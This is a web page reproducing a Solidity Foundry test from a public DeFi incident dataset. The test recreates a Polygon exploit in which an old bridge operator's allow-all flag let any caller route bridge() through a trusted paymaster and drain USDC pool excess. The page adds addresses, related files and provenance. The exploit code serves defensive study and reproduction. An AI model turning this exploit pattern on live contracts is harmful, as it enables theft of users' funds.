Public reproduction file
src/test/2026-03/unverified_1304_exp.sol
Public reproduction file for dataset entry unverified.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 85,730 USDC8// Attacker : 0x6ff2be5d0e5b3974a818731e3ff6eeec8cd9d9709// Attack Contract : 0x9a5fe6e6a27f7eace0782b89e6b216849d871e4f10// Vulnerable Contract : 0x13046f513802de93f3fc48f0cdb2cb7df22ec01a11// Attack Tx : https://polygonscan.com/tx/0x957bcfa47657a198b683feb455f7957e8e6d912b5584a5af510f4ff8a41f4f5a13// @Info14// Vulnerable Contract Code : unverified on Polygonscan16// @Analysis17// Twitter Guy : https://x.com/DefimonAlerts/status/203453254719182039018//19// An old CheckoutPool bridge operator contract had _ALLOW_ALL_ enabled and no effective operator gate on bridge().20// Any caller could route bridge() into the trusted CheckoutPaymaster, which activated and called CheckoutPool.execute().21// CheckoutPool then paid the stored checkout target amount from its USDC balance, spending pool excess for the portion22// above the checkout's held amount.24address constant TX_SENDER = 0x6fF2bE5D0E5B3974a818731E3FF6EEEc8cd9D970;25address constant ATTACK_CONTRACT = 0x9A5fe6e6A27f7eacE0782b89e6b216849d871E4f;26address constant ATTACK_ACCOUNT = 0xB648db3bD2f7646D648570CF5765495D46011Ae1;28address constant OLD_BOC = 0x13046f513802De93f3fC48f0cDb2Cb7df22Ec01A;29address constant CHECKOUT_POOL = 0x1929347E025D4F5F8D6B2Bd2261e2f4EfcAcd215;30address constant CHECKOUT_PAYMASTER = 0xD649aC385EfE8CE69EcE9D2E61aE602e2893C586;31address constant ENTRY_POINT = 0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789;32address constant USDC_TOKEN = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;34struct BridgeParams {35 address target;36 address spender;37 bytes callData;38 address bridgeReceivedAsset;39 uint256 minBridgeReceivedAmount;40}42struct UserOperation {43 address sender;44 uint256 nonce;45 bytes initCode;46 bytes callData;47 uint256 callGasLimit;48 uint256 verificationGasLimit;49 uint256 preVerificationGas;50 uint256 maxFeePerGas;51 uint256 maxPriorityFeePerGas;52 bytes paymasterAndData;53 bytes signature;54}56struct CheckoutParams {57 bytes32 userOpHash;58 bytes32 targetAsset;59 uint96 targetChainId;60 uint128 targetAmount;61 uint128 expiration;62 bytes32 recipient;63}65struct CheckoutState {66 CheckoutParams params;67 address heldAsset;68 uint256 heldAmount;69}71interface IOldBridgeOperator {72 function bridge(address depositAddress, BridgeParams calldata bridgeParams) external;73 function _ALLOW_ALL_() external view returns (bool);74}76interface ICheckoutPaymaster {77 function activateAndCall(address target, bytes calldata callData) external payable returns (bytes memory);78 function isOperatorAllowed(address operator) external view returns (bool);79}81interface ICheckoutPool {82 function execute(address depositAddress, UserOperation[] calldata ops) external;83 function getCheckout(address depositAddress) external view returns (CheckoutState memory);84 function _POOL_EXCESS_(address asset) external view returns (uint256);85}87interface IEntryPoint {88 function getUserOpHash(UserOperation calldata userOp) external view returns (bytes32);89}91contract ContractTest is BaseTestWithBalanceLog {92 IERC20 private constant usdc = IERC20(USDC_TOKEN);93 IOldBridgeOperator private constant oldBoc = IOldBridgeOperator(OLD_BOC);94 ICheckoutPool private constant checkoutPool = ICheckoutPool(CHECKOUT_POOL);95 ICheckoutPaymaster private constant paymaster = ICheckoutPaymaster(CHECKOUT_PAYMASTER);96 IEntryPoint private constant entryPoint = IEntryPoint(ENTRY_POINT);98 function setUp() public {99 uint256 forkBlock = 84_291_586;100 vm.createSelectFork("polygon", forkBlock);101 fundingToken = USDC_TOKEN;103 vm.label(TX_SENDER, "Transaction sender");104 vm.label(ATTACK_CONTRACT, "Attack contract / deposit address");105 vm.label(ATTACK_ACCOUNT, "Attacker smart account");106 vm.label(OLD_BOC, "Old CheckoutPool BOC");107 vm.label(CHECKOUT_POOL, "CheckoutPool");108 vm.label(CHECKOUT_PAYMASTER, "CheckoutPaymaster");109 vm.label(ENTRY_POINT, "ERC-4337 EntryPoint");110 vm.label(USDC_TOKEN, "USDC");111 }113 function testExploit() public balanceLog2(ATTACK_ACCOUNT) {114 UserOperation[] memory ops = _buildObservedUserOp();115 CheckoutState memory checkoutBefore = checkoutPool.getCheckout(ATTACK_CONTRACT);116 uint256 attackerUsdcBefore = usdc.balanceOf(ATTACK_ACCOUNT);117 uint256 poolUsdcBefore = usdc.balanceOf(CHECKOUT_POOL);118 uint256 excessBefore = checkoutPool._POOL_EXCESS_(USDC_TOKEN);120 uint256 executionAmount = uint256(checkoutBefore.params.targetAmount);121 uint256 heldAmount = checkoutBefore.heldAmount;122 uint256 excessSpend = executionAmount - heldAmount;124 assertTrue(oldBoc._ALLOW_ALL_(), "old BOC allow-all disabled");125 assertTrue(paymaster.isOperatorAllowed(OLD_BOC), "old BOC is not paymaster operator");126 assertEq(address(uint160(uint256(checkoutBefore.params.targetAsset))), USDC_TOKEN, "unexpected target asset");127 assertEq(checkoutBefore.heldAsset, USDC_TOKEN, "unexpected held asset");128 assertEq(entryPoint.getUserOpHash(ops[0]), checkoutBefore.params.userOpHash, "userOp hash mismatch");129 assertGt(executionAmount, heldAmount, "checkout does not spend pool excess");131 // step 1: call the old BOC directly as an unprivileged attacker-controlled EOA.132 vm.startPrank(TX_SENDER, TX_SENDER);133 oldBoc.bridge(ATTACK_CONTRACT, _buildBridgeParams(ops));134 vm.stopPrank();136 // step 2: CheckoutPool paid the target amount and charged the excess portion to pool accounting.137 assertEq(usdc.balanceOf(ATTACK_ACCOUNT) - attackerUsdcBefore, executionAmount, "unexpected USDC received");138 assertEq(poolUsdcBefore - usdc.balanceOf(CHECKOUT_POOL), executionAmount, "pool balance delta mismatch");139 assertEq(excessBefore - checkoutPool._POOL_EXCESS_(USDC_TOKEN), excessSpend, "pool excess delta mismatch");141 emit log_named_decimal_uint("USDC transferred to attacker smart account", executionAmount, 6);142 emit log_named_decimal_uint("USDC excess consumed", excessSpend, 6);143 }145 function _buildBridgeParams(146 UserOperation[] memory ops147 ) private pure returns (BridgeParams memory bridgeParams) {148 bytes memory executeCall = abi.encodeWithSelector(ICheckoutPool.execute.selector, ATTACK_CONTRACT, ops);149 bytes memory activateAndCall =150 abi.encodeWithSelector(ICheckoutPaymaster.activateAndCall.selector, CHECKOUT_POOL, executeCall);152 bridgeParams = BridgeParams({153 target: CHECKOUT_PAYMASTER,154 spender: ATTACK_CONTRACT,155 callData: activateAndCall,156 bridgeReceivedAsset: USDC_TOKEN,157 minBridgeReceivedAmount: 0158 });159 }161 function _buildObservedUserOp() private pure returns (UserOperation[] memory ops) {162 ops = new UserOperation[](1);163 ops[0] = UserOperation({164 sender: ATTACK_ACCOUNT,165 nonce: 1,166 initCode: "",167 callData: "",168 callGasLimit: 62_646,169 verificationGasLimit: 75_826,170 preVerificationGas: 51_638,171 maxFeePerGas: 189_054_399_157,172 maxPriorityFeePerGas: 49_500_000_000,173 paymasterAndData: abi.encodePacked(ATTACK_ACCOUNT, bytes7(0)),174 signature: new bytes(32)175 });176 }177}Analysis
Dataset entry
Public Foundry test for “unverified” (2026-03-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2024-09/unverified_03f9_exp.solSame protocol or name in the dataset · 73 lines
- src/test/2025-02/unverified_35bc_exp.solSame protocol or name in the dataset · 91 lines
- src/test/2024-09/unverified_5697_exp.solSame protocol or name in the dataset · 40 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6ff2be5d0e5b3974a818731e3ff6eeec8cd9d970
- Attack Contract
0x9a5fe6e6a27f7eace0782b89e6b216849d871e4f
- Vulnerable Contract
0x13046f513802de93f3fc48f0cdb2cb7df22ec01a
- Attack Tx
0x957bcfa47657a198b683feb455f7957e8e6d912b5584a5af510f4ff8a41f4f5a
File record
- Name
- unverified
- Path
- src/test/2026-03/unverified_1304_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8579ae678038fdba49c8337a84de4eca6e6fc2b9
- Language
- Solidity
- Size
- 178 lines
- Date
- 2026-03-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/unverified_1304_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8579ae678038fdba49c8337a84de4eca6e6fc2b9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.